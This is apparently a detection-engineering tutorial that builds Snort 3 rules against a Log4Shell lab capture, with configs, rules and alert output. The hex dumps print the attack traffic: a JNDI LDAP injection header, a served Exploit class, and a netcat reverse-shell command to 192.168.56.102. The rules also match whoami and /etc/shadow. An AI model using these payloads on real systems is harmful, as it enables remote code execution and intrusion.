We already know there is activity related to Log4J in this PCAP. However, using my default configuration no alters were triggers for the 7568 packets received, analyzed and allowed. This is expected as we can only detect what we tell the tool we would like to be detect on. Hence the need for rules and customization for your specific environment.

┌──(rootđź’€securitynik)-[/log4j]
└─# snort --pcap-list log4-shell.pcapng -d -A cmg -c ./snort-log4j-conf.lua -R ./local.rules -v --talos 
--------------------------------------------------
o")~   Snort++ 3.1.18.0
--------------------------------------------------
Loading ./snort-log4j-conf.lua:
        hosts
        host_cache
        active
        packets
        decode
        so_proxy
        trace
        search_engine
        process
        network
        host_tracker
        output
        daq
        alerts
Finished ./snort-log4j-conf.lua:
Loading rule args:
Loading ./local.rules:
Finished ./local.rules:
Finished rule args:
--------------------------------------------------
Network Policy : policy id 0 : ./snort-log4j-conf.lua
--------------------------------------------------
Inspection Policy : policy id 0 : ./snort-log4j-conf.lua
--------------------------------------------------
so_proxy:
--------------------------------------------------
pcap DAQ configured to read-file.
--------------------------------------------------
host_cache
    memcap: 8388608 bytes
Commencing packet processing
++ [0] log4-shell.pcapng
Instance 0 daq pool size: 256
Instance 0 daq batch size: 64
-- [0] log4-shell.pcapng
--------------------------------------------------
Packet Statistics
--------------------------------------------------
daq
                    pcaps: 1
                 received: 7568
                 analyzed: 7568
                    allow: 7568
                 rx_bytes: 821104
--------------------------------------------------
codec
                    total: 7568         (100.000%)
                 discards: 7523         ( 99.405%)
                      eth: 7568         (100.000%)
                     ipv4: 7568         (100.000%)
                      tcp: 7568         (100.000%)
--------------------------------------------------
Module Statistics
--------------------------------------------------
detection
                 analyzed: 7568
--------------------------------------------------
tcp
        bad_tcp4_checksum: 7523
--------------------------------------------------
Summary Statistics
--------------------------------------------------
timing
                  runtime: 00:00:00
                  seconds: 0.030417
                 pkts/sec: 7568
                Mbits/sec: 6
o")~   Snort exiting

Here is what my finished snort3 configuration file looks like.

-- Take advantage of some of Snort3 default configuration
include '/usr/local/etc/snort/snort_defaults.lua'

-- leverage the default classifications
classifications = default_classifications


-- Our protected network
HOME_NET = [[172.17.0.0/24]]

-- The networks we do not own
EXTERNAL_NET = '!$HOME_NET'

-- We want to take advantage of hyperscan for pattern matching
search_engine = { search_method = "hyperscan" }

-- Take advantage of the default wizard for port, services, etc. bindings
wizard = default_wizard

-- So that we can profile our rules, modules, etc.
profiler = { }

-- Ensure we reassemble the TCP Streams
stream = { }

-- Tell the stream to leverage the Linux policy when it is reassembling the streams
stream_tcp = { policy = "linux" }



-- Setup the HTTP Preprocessor
http_inspect = { }

-- To take advantage of the variables such as HOME_NET
securitynik_variables = 
    {
	nets = 
	    {
		HOME_NET = HOME_NET,
		EXTERNAL_NET = EXTERNAL_NET,
	    }
    } 

ips = 
    {
	mode = tap,
	variables = securitynik_variables,
    }

With my first rule attempt ...

/* This rule tracks activity from critical host making connections to external host */
alert tcp $HOME_NET any -> $EXTERNAL_NET any 
	(
		msg: "SUSPICIOUS ACTIVITY - Critical Asset Communicating With External Host!";
		reference: url, www.securitynik.com;
		classtype: bad-unknown; 
		rev: 2;
		sid: 4000001;
	)

I got ...

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -d -A cmg -c ./snort-log4j-conf.lua -R ./local.rules -v --talos -q
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
#                      module layer    checks   time(us)  avg/check  %/caller  %/total
=                      ====== =====    ======   ========  =========  ========  =======
 1                      other     1      7568      63971          8     97.29    97.29
 2                        daq     1      7688        828          0      1.26     1.26
 3                     decode     1      7568        626          0      0.95     0.95
 4                       mpse     1      7778        138          0      0.21     0.21
 5                     eventq     1      7645        126          0      0.19     0.19
 6                     stream     1        45         39          0      0.06     0.06
 7                 stream_tcp     1        45         11          0      0.02     0.02
 8                  rule_eval     1        45         10          0      0.02     0.02
 9                     binder     1        23          1          0      0.00     0.00
--                      total    --      7568      65755          8        --   100.00
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000001   2        45       0      0         5         0         0             0        0        0

... 0 alerts. This makes no sense, as above we saw daq report 1 pcap with 7568 received. What is going on here. Well if we looked closely at out initial output, when we ran Snort with our empty configs, we  see a number of these packets are reporting as having bad checksum. 

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -d -A cmg -c ./snort-log4j-conf.lua -R ./local.rules -v --talos | grep checksum
        bad_tcp4_checksum: 7523

Now, typically, when the checksum is bad, the end host would discard these packets. However, these checksums may be considered bad because of checksum offloading. Checksum offloading is where your network interface card (NIC) handles the checksum calculation, rather than your operating system. Let's disable checksum validation by adding "-k none" for this and see if it makes a difference.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -d -A talos -c ./snort-log4j-conf.lua -R ./local.rules -q -k none

##### log4-shell.pcapng #####
        [1:4000001:2] SUSPICIOUS ACTIVITY - Critical Asset Communicating With External Host! (alerts: 172)
#####
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
#                      module layer    checks   time(us)  avg/check  %/caller  %/total
=                      ====== =====    ======   ========  =========  ========  =======
 1                      other     1      7568      30509          4     82.24    82.24
 2                 stream_tcp     1      7568       2042          0      5.51     5.51
 3                  rule_eval     1      8846       1028          0      2.77     2.77
 4                        daq     1      7688        933          0      2.52     2.52
 5                     stream     1      7568        848          0      2.29     2.29
 6                     decode     1      7568        710          0      1.91     1.91
 7                       mpse     1     25380        614          0      1.66     1.66
 8                     eventq     1     11469        333          0      0.90     0.90
 9                        paf     1      1841         47          0      0.13     0.13
 10                    binder     1       663         30          0      0.08     0.08
--                      total    --      7568      37097          4        --   100.00
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000001   2      8846     198    172       419         0         0             0        0        0

Much better! Now we have 172 alerts. More than we need but at least we know our rule is heading in the right direction. No errors were produced and we got alerts. That is good enough for me. Taking a different look to understand one of the alerts.

12/20-13:07:32.050544 [**] [1:4000001:2] "SUSPICIOUS ACTIVITY - Critical Asset Communicating With External Host!" [**] [Classification: Potentially Bad Traffic] [
Priority: 2] {TCP} 172.17.0.2:36820 -> 192.168.56.102:389
02:42:AC:11:00:02 -> 02:42:3B:12:40:E4 type:0x800 len:0xB3
172.17.0.2:36820 -> 192.168.56.102:389 TCP TTL:64 TOS:0x0 ID:57527 IpLen:20 DgmLen:165 DF
***AP*** Seq: 0x941ABE2B  Ack: 0xABF72E9F  Win: 0x1F6  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2720869590 831471978

snort.raw[113]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
30 6F 02 01 02 63 4D 04  2D 42 61 73 69 63 2F 43  0o...cM. -Basic/C
6F 6D 6D 61 6E 64 2F 42  61 73 65 36 34 2F 64 47  ommand/B ase64/dG
39 31 59 32 67 67 4C 33  52 74 63 43 39 77 64 32  91Y2ggL3 RtcC9wd2
35 6C 5A 41 6F 3D 0A 01  00 0A 01 03 02 01 00 02  5lZAo=.. ........
01 00 01 01 00 87 0B 6F  62 6A 65 63 74 43 6C 61  .......o bjectCla
73 73 30 00 A0 1B 30 19  04 17 32 2E 31 36 2E 38  ss0...0. ..2.16.8
34 30 2E 31 2E 31 31 33  37 33 30 2E 33 2E 34 2E  40.1.113 730.3.4.
32                                                2
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Looks good. Completing our first rule.

/* 
	This rule tracks activity from critical host attempting to make a connection to external host 
	One of the shortfall of this rule, is it has no content. Snort and Cisco's rule writers
	would not be happy about this if they were using this in production. 
	Do remember, we are learning here and addressing OUR lab concerns.
*/
alert tcp $HOME_NET any -> $EXTERNAL_NET 389 
    (
	msg: "SUSPICIOUS ACTIVITY - Critical Asset attempting to establish TCP/389 (LDAP) connection with External Host";
	flow: from_client;
	flags: S; /* Looking for TCP SYN flag*/
	flowbits: set, "securitynik_log4shell_attempt"; /* Set a flowbit to track this activity across this session */
	flowbits: noalert;
	reference: url, www.securitynik.com;
	classtype: bad-unknown; 
	rev: 3;
	sid: 4000001;
    )

This just detects the critical host making an attempt to connect to an external device but will not alert. Hence the 0 alerts below.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -d -c ./snort-log4j-conf.lua -R ./local.rules -q --talos -k none

rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000001   3       156      14      0        52         0         2             0        0        0

Writing our second rule to detect this activity.

/* This second rule builds on the first and will confirm the suspicious activity 
   By looking at the flowbit, we can tie the first activity with this second.
   Do note, this will trigger alerts.
*/
alert tcp $EXTERNAL_NET 389 -> $HOME_NET any 
    (
	msg: "SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host";
	flow: established, from_server; /* Ensuring the 3-way handshake has completed */
	content:"javaNamingReference", nocase;
	content: "http|3A 2F 2F|", nocase;
	content: "Basic|2f|Command|2f|Base64|2f|", nocase;
	regex: "/[a-bA-B0-9].*?=/"; /* because we know there is a base64 pattern after, look for that via regex*/
	flags: PA; /* looking at the flags to see if the external device is now sending data while ack'in the critical asset*/
	flowbits: isset, "securitynik_log4shell_attempt";
	reference: url, www.securitynik.com;
	classtype: policy-violation; 
	rev: 3;
	sid: 4000002;
    )

When this is run, we can see three alerts trigger.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A talos -q  
##### log4-shell.pcapng #####
        [1:4000002:3] SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host (alerts: 3)
#####
--------------------------------------------------
...
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000002   3         6       3      3        71        11        20             2        0        0
2         14000001   3       156      14      0        65         0         3             0        0        0

Looking at the packet that caused our rule to alert.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A cmg -q                                                         
12/20-13:07:32.109820 [**] [1:4000002:3] "SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host" [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP} 192.168.56.102:389 -> 172.17.0.2:36820
02:42:3B:12:40:E4 -> 02:42:AC:11:00:02 type:0x800 len:0x10D
192.168.56.102:389 -> 172.17.0.2:36820 TCP TTL:64 TOS:0x0 ID:33047 IpLen:20 DgmLen:255 DF
***AP*** Seq: 0xABF72E9F  Ack: 0x941ABE9C  Win: 0x1FD  TcpLen: 32
TCP Options (3) => NOP NOP TS: 831472039 2720869590

snort.raw[203]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
30 81 C8 02 01 02 64 81  C2 04 2D 42 61 73 69 63  0.....d. ..-Basic
2F 43 6F 6D 6D 61 6E 64  2F 42 61 73 65 36 34 2F  /Command /Base64/
64 47 39 31 59 32 67 67  4C 33 52 74 63 43 39 77  dG91Y2gg L3RtcC9w
64 32 35 6C 5A 41 6F 3D  30 81 90 30 16 04 0D 6A  d25lZAo= 0..0...j
61 76 61 43 6C 61 73 73  4E 61 6D 65 31 05 04 03  avaClass Name1...
66 6F 6F 30 2C 04 0C 6A  61 76 61 43 6F 64 65 42  foo0,..j avaCodeB
61 73 65 31 1C 04 1A 68  74 74 70 3A 2F 2F 31 39  ase1...h ttp://19
32 2E 31 36 38 2E 35 36  2E 31 30 32 3A 34 34 33  2.168.56 .102:443
2F 30 24 04 0B 6F 62 6A  65 63 74 43 6C 61 73 73  /0$..obj ectClass
31 15 04 13 6A 61 76 61  4E 61 6D 69 6E 67 52 65  1...java NamingRe
66 65 72 65 6E 63 65 30  22 04 0B 6A 61 76 61 46  ference0 "..javaF
61 63 74 6F 72 79 31 13  04 11 45 78 70 6C 6F 69  actory1. ..Exploi
74 51 38 76 37 79 67 42  57 34 69                 tQ8v7ygB W4i
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Good stuff! Moving on to our HTTP rules. 

Looking now at the HTTP rule to detect OUR JNDI activities. I keep emphasizing OUR as while we can use these concepts to develop rules for your production environment, there is no guarantee this rule will absolutely detect this activity in your environment. We are building these rules from the perspective of what we know about the contents of the packets from our labs.

/* 
    Taking advantage of a HTTP service rules to find 
    HTTP activity and the JNDI content	
*/
alert http 
    (   
	rem: "This rule is looking for the JNDI content in OUR pcap";
	msg: "POSSIBLE Log4J VULNERABILITY EXPLOITATION ";
	flow: established, to_server;
	http_header: request; /* Look at the HTTP request header */
	content: "X-Api-Version", nocase; /* Look for content X-Api-Version */
	content: "jndi", nocase;
	regex: "/(?i)\$\{jndi:ldap:\/\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+\/.*?=\}/";
	reference: url, www.securitynik.com;
	classtype: web-application-activity;
	sid: 4000003;	
    )

Running this rule.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A talos -q

##### log4-shell.pcapng #####
        [1:4000002:3] SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host (alerts: 3)
        [1:4000003:0] POSSIBLE Log4J VULNERABILITY EXPLOITATION  (alerts: 3)
#####
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
...
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000003   0        21       3      3       161         7        26             4        0        0
2         14000001   3       155      14      0        64         0         3             0        0        0
3         14000002   3         6       3      3        35         5         8             3        0        0

Good stuff! Our rule detected the activity. Looking at the output.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A cmg -q
12/20-14:00:58.960398 [**] [1:4000003:0] "POSSIBLE Log4J VULNERABILITY EXPLOITATION " [**] [Classification: Access to a potentially vulnerable web application] [Priority: 2] {TCP} 172.17.0.1:60324 -> 172.17.0.2:8080

http_inspect.http_method[3]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
47 45 54                                          GET
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_version[8]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 54 54 50 2F 31 2E 31                           HTTP/1.1 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_uri[1]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
2F                                                /
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_header[190]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 6F 73 74 3A 20 31 32  37 2E 30 2E 30 2E 31 3A  Host: 12 7.0.0.1:
38 30 38 30 0D 0A 41 63  63 65 70 74 3A 20 2A 2F  8080..Ac cept: */
2A 0D 0A 58 2D 41 70 69  2D 56 65 72 73 69 6F 6E  *..X-Api -Version
3A 20 24 7B 6A 6E 64 69  3A 6C 64 61 70 3A 2F 2F  : ${jndi :ldap://
31 39 32 2E 31 36 38 2E  35 36 2E 31 30 32 3A 33  192.168. 56.102:3
38 39 2F 42 61 73 69 63  2F 43 6F 6D 6D 61 6E 64  89/Basic /Command
2F 42 61 73 65 36 34 2F  62 6D 4D 67 4D 54 6B 79  /Base64/ bmMgMTky
4C 6A 45 32 4F 43 34 31  4E 69 34 78 4D 44 49 67  LjE2OC41 Ni4xMDIg
4F 44 41 67 4C 57 55 67  4C 32 4A 70 62 69 39 7A  ODAgLWUg L2Jpbi9z
61 43 41 74 64 6E 5A 32  43 67 3D 3D 7D 0D 0A 55  aCAtdnZ2 Cg==}..U
73 65 72 2D 41 67 65 6E  74 3A 20 53 65 63 75 72  ser-Agen t: Secur
69 74 79 4E 69 6B 20 54  65 73 74 69 6E 67        ityNik T esting
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

That's progress! Detecting netcat activity.

alert http
    (
	msg: "CODE EXECUTION ON CRITICAL SERVER - from external host";
	flow: established, to_client;
	content: "Exploit", nocase;
	regex: "/Exploit[0-9a-zA-Z]*/i"; /* Match on strings such as ExploitSMMZvT8GXL. */
	content: "/bin/sh", nocase;
	content: "cmd", nocase;
	content: "nc", fast_pattern, nocase;
	reference: url, www.securitynik.com;
	classtype: web-application-activity; 
	rev: 3;
	sid: 4000004;
    )

When this rule is run, we get 2 alerts fired:

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A talos -q   
##### log4-shell.pcapng #####
        [1:4000002:3] SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host (alerts: 3)
        [1:4000003:0] POSSIBLE Log4J VULNERABILITY EXPLOITATION  (alerts: 3)
        [1:4000004:3] CODE EXECUTION ON CRITICAL SERVER - from external host (alerts: 2)
#####
--------------------------------------------------
...
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000003   0        21       3      3       251        11        45             6        0        0
2         14000001   3       155      14      0       116         0         6             0        0        0
3         14000002   3         6       3      3        88        14        19             9        0        0
4         14000004   3         2       2      2        23        11        11             0        0        0

Looking at the output of the rule match.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A cmg 


12/20-14:00:58.969683 [**] [1:4000004:3] "CODE EXECUTION ON CRITICAL SERVER - from external host" [**] [Classification: Access to a potentially vulnerable web application] [Priority: 2] {TCP} 192.168.56.102:443 -> 172.17.0.2:51836

http_inspect.http_version[8]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 54 54 50 2F 31 2E 31                           HTTP/1.1 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_stat_code[3]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
32 30 30                                          200
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_stat_msg[2]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
4F 4B                                             OK
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_uri[24]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
2F 45 78 70 6C 6F 69 74  36 48 48 63 33 42 63 56  /Exploit 6HHc3BcV
7A 49 2E 63 6C 61 73 73                           zI.class 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_header[57]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
44 61 74 65 3A 20 4D 6F  6E 2C 20 32 30 20 44 65  Date: Mo n, 20 De
63 20 32 30 32 31 20 31  39 3A 30 30 3A 35 38 20  c 2021 1 9:00:58 
47 4D 54 0D 0A 43 6F 6E  74 65 6E 74 2D 6C 65 6E  GMT..Con tent-len
67 74 68 3A 20 31 32 33  36                       gth: 123 6
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.stream_tcp[1236]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
CA FE BA BE 00 00 00 32  00 3D 01 00 11 45 78 70  .......2 .=...Exp
6C 6F 69 74 36 48 48 63  33 42 63 56 7A 49 07 00  loit6HHc 3BcVzI..
01 01 00 40 63 6F 6D 2F  73 75 6E 2F 6F 72 67 2F  ...@com/ sun/org/
61 70 61 63 68 65 2F 78  61 6C 61 6E 2F 69 6E 74  apache/x alan/int
65 72 6E 61 6C 2F 78 73  6C 74 63 2F 72 75 6E 74  ernal/xs ltc/runt
69 6D 65 2F 41 62 73 74  72 61 63 74 54 72 61 6E  ime/Abst ractTran
73 6C 65 74 07 00 03 01  00 03 63 6D 64 01 00 12  slet.... ..cmd...
4C 6A 61 76 61 2F 6C 61  6E 67 2F 53 74 72 69 6E  Ljava/la ng/Strin
67 3B 01 00 06 3C 69 6E  69 74 3E 01 00 03 28 29  g;...<in it>...()
56 01 00 13 6A 61 76 61  2F 69 6F 2F 49 4F 45 78  V...java /io/IOEx
63 65 70 74 69 6F 6E 07  00 09 0C 00 07 00 08 0A  ception. ........
00 04 00 0B 01 00 0C 6A  61 76 61 2F 69 6F 2F 46  .......j ava/io/F
69 6C 65 07 00 0D 01 00  09 73 65 70 61 72 61 74  ile..... .separat
6F 72 0C 00 0F 00 06 09  00 0E 00 10 01 00 01 2F  or...... ......./
08 00 12 01 00 10 6A 61  76 61 2F 6C 61 6E 67 2F  ......ja va/lang/
53 74 72 69 6E 67 07 00  14 01 00 06 65 71 75 61  String.. ....equa
6C 73 01 00 15 28 4C 6A  61 76 61 2F 6C 61 6E 67  ls...(Lj ava/lang
2F 4F 62 6A 65 63 74 3B  29 5A 0C 00 16 00 17 0A  /Object; )Z......
00 15 00 18 01 00 07 2F  62 69 6E 2F 73 68 08 00  ......./ bin/sh..
1A 01 00 02 2D 63 08 00  1C 0C 00 05 00 06 09 00  ....-c.. ........
02 00 1E 08 00 05 01 00  02 2F 43 08 00 21 01 00  ........ ./C..!..
13 5B 4C 6A 61 76 61 2F  6C 61 6E 67 2F 53 74 72  .[Ljava/ lang/Str
69 6E 67 3B 07 00 23 01  00 11 6A 61 76 61 2F 6C  ing;..#. ..java/l
61 6E 67 2F 52 75 6E 74  69 6D 65 07 00 25 01 00  ang/Runt ime..%..
0A 67 65 74 52 75 6E 74  69 6D 65 01 00 15 28 29  .getRunt ime...()
4C 6A 61 76 61 2F 6C 61  6E 67 2F 52 75 6E 74 69  Ljava/la ng/Runti
6D 65 3B 0C 00 27 00 28  0A 00 26 00 29 01 00 04  me;..'.( ..&.)...
65 78 65 63 01 00 28 28  5B 4C 6A 61 76 61 2F 6C  exec..(( [Ljava/l
61 6E 67 2F 53 74 72 69  6E 67 3B 29 4C 6A 61 76  ang/Stri ng;)Ljav
61 2F 6C 61 6E 67 2F 50  72 6F 63 65 73 73 3B 0C  a/lang/P rocess;.
00 2B 00 2C 0A 00 26 00  2D 01 00 0F 70 72 69 6E  .+.,..&. -...prin
74 53 74 61 63 6B 54 72  61 63 65 0C 00 2F 00 08  tStackTr ace../..
0A 00 0A 00 30 01 00 09  74 72 61 6E 73 66 6F 72  ....0... transfor
6D 01 00 72 28 4C 63 6F  6D 2F 73 75 6E 2F 6F 72  m..r(Lco m/sun/or
67 2F 61 70 61 63 68 65  2F 78 61 6C 61 6E 2F 69  g/apache /xalan/i
6E 74 65 72 6E 61 6C 2F  78 73 6C 74 63 2F 44 4F  nternal/ xsltc/DO
4D 3B 5B 4C 63 6F 6D 2F  73 75 6E 2F 6F 72 67 2F  M;[Lcom/ sun/org/
61 70 61 63 68 65 2F 78  6D 6C 2F 69 6E 74 65 72  apache/x ml/inter
6E 61 6C 2F 73 65 72 69  61 6C 69 7A 65 72 2F 53  nal/seri alizer/S
65 72 69 61 6C 69 7A 61  74 69 6F 6E 48 61 6E 64  erializa tionHand
6C 65 72 3B 29 56 01 00  39 63 6F 6D 2F 73 75 6E  ler;)V.. 9com/sun
2F 6F 72 67 2F 61 70 61  63 68 65 2F 78 61 6C 61  /org/apa che/xala
6E 2F 69 6E 74 65 72 6E  61 6C 2F 78 73 6C 74 63  n/intern al/xsltc
2F 54 72 61 6E 73 6C 65  74 45 78 63 65 70 74 69  /Transle tExcepti
6F 6E 07 00 34 01 00 A6  28 4C 63 6F 6D 2F 73 75  on..4... (Lcom/su
6E 2F 6F 72 67 2F 61 70  61 63 68 65 2F 78 61 6C  n/org/ap ache/xal
61 6E 2F 69 6E 74 65 72  6E 61 6C 2F 78 73 6C 74  an/inter nal/xslt
63 2F 44 4F 4D 3B 4C 63  6F 6D 2F 73 75 6E 2F 6F  c/DOM;Lc om/sun/o
72 67 2F 61 70 61 63 68  65 2F 78 6D 6C 2F 69 6E  rg/apach e/xml/in
74 65 72 6E 61 6C 2F 64  74 6D 2F 44 54 4D 41 78  ternal/d tm/DTMAx
69 73 49 74 65 72 61 74  6F 72 3B 4C 63 6F 6D 2F  isIterat or;Lcom/
73 75 6E 2F 6F 72 67 2F  61 70 61 63 68 65 2F 78  sun/org/ apache/x
6D 6C 2F 69 6E 74 65 72  6E 61 6C 2F 73 65 72 69  ml/inter nal/seri
61 6C 69 7A 65 72 2F 53  65 72 69 61 6C 69 7A 61  alizer/S erializa
74 69 6F 6E 48 61 6E 64  6C 65 72 3B 29 56 01 00  tionHand ler;)V..
08 3C 63 6C 69 6E 69 74  3E 01 00 25 6E 63 20 31  .<clinit >..%nc 1
39 32 2E 31 36 38 2E 35  36 2E 31 30 32 20 38 30  92.168.5 6.102 80
20 2D 65 20 2F 62 69 6E  2F 73 68 20 2D 76 76 76   -e /bin /sh -vvv
0A 08 00 38 01 00 04 43  6F 64 65 01 00 0D 53 74  ...8...C ode...St
61 63 6B 4D 61 70 54 61  62 6C 65 01 00 0A 45 78  ackMapTa ble...Ex
63 65 70 74 69 6F 6E 73  00 21 00 02 00 04 00 00  ceptions .!......
00 01 00 0A 00 05 00 06  00 00 00 04 00 01 00 07  ........ ........
00 08 00 01 00 3A 00 00  00 7E 00 04 00 03 00 00  .....:.. .~......
00 4D 2A B7 00 0C B2 00  11 12 13 B6 00 19 99 00  .M*..... ........
1B 06 BD 00 15 59 03 12  1B 53 59 04 12 1D 53 59  .....Y.. .SY...SY
05 B2 00 1F 53 4C A7 00  18 06 BD 00 15 59 03 12  ....SL.. .....Y..
20 53 59 04 12 22 53 59  05 B2 00 1F 53 4C B8 00   SY.."SY ....SL..
2A 2B B6 00 2E 57 A7 00  08 4D 2C B6 00 31 B1 00  *+...W.. .M,..1..
01 00 3C 00 44 00 47 00  0A 00 01 00 3B 00 00 00  ..<.D.G. ....;...
17 00 04 FF 00 27 00 01  07 00 02 00 00 FC 00 14  .....'.. ........
07 00 24 4A 07 00 0A 04  00 01 00 32 00 33 00 02  ..$J.... ...2.3..
00 3A 00 00 00 0D 00 00  00 03 00 00 00 01 B1 00  .:...... ........
00 00 00 00 3C 00 00 00  04 00 01 00 35 00 01 00  ....<... ....5...
32 00 36 00 02 00 3A 00  00 00 0D 00 00 00 04 00  2.6...:. ........
00 00 01 B1 00 00 00 00  00 3C 00 00 00 04 00 01  ........ .<......
00 35 00 08 00 37 00 08  00 01 00 3A 00 00 00 12  .5...7.. ...:....
00 01 00 00 00 00 00 06  12 39 B3 00 1F B1 00 00  ........ .9......
00 00 00 00                                       ....
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Time for the final rule, to detect the netcat post exploitation activity.

/* 
    This final rule, will detect the netcat within our PCAP.
*/
alert tcp $EXTERNAL_NET 80 -> $HOME_NET any  
    (
	/* This rule is looking for post exploitation activity within our PCAP */
	msg: "POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP)";
	flow: established, from_server;
	content: "id", nocase;
	content: "whoami", nocase;
	content: "/etc/shadow", nocase;
	reference: url, www.securitynik.com;
	classtype: malware-cnc; 
	rev: 3;
	sid: 4000005;
    )

When our rule fires, we see get one alert. ...

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A talos -q

##### log4-shell.pcapng #####
        [1:4000002:3] SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host (alerts: 3)
        [1:4000003:0] POSSIBLE Log4J VULNERABILITY EXPLOITATION  (alerts: 3)
        [1:4000004:3] CODE EXECUTION ON CRITICAL SERVER - from external host (alerts: 2)
        [1:4000005:3] POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP) (alerts: 1)
#####
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
#                      module layer    checks   time(us)  avg/check  %/caller  %/total
=                      ====== =====    ======   ========  =========  ========  =======
...
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000003   0        21       3      3       176         8        26             5        0        0
2         14000001   3       155      14      0        61         0         2             0        0        0
3         14000002   3         6       3      3        34         5         8             3        0        0
4         14000004   3         2       2      2        13         6         6             0        0        0
5         14000005   3         2       1      1         5         2         4             1        0        0

What did our rule triggered on? Looking at the actual alert, we see

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A cmg -q    

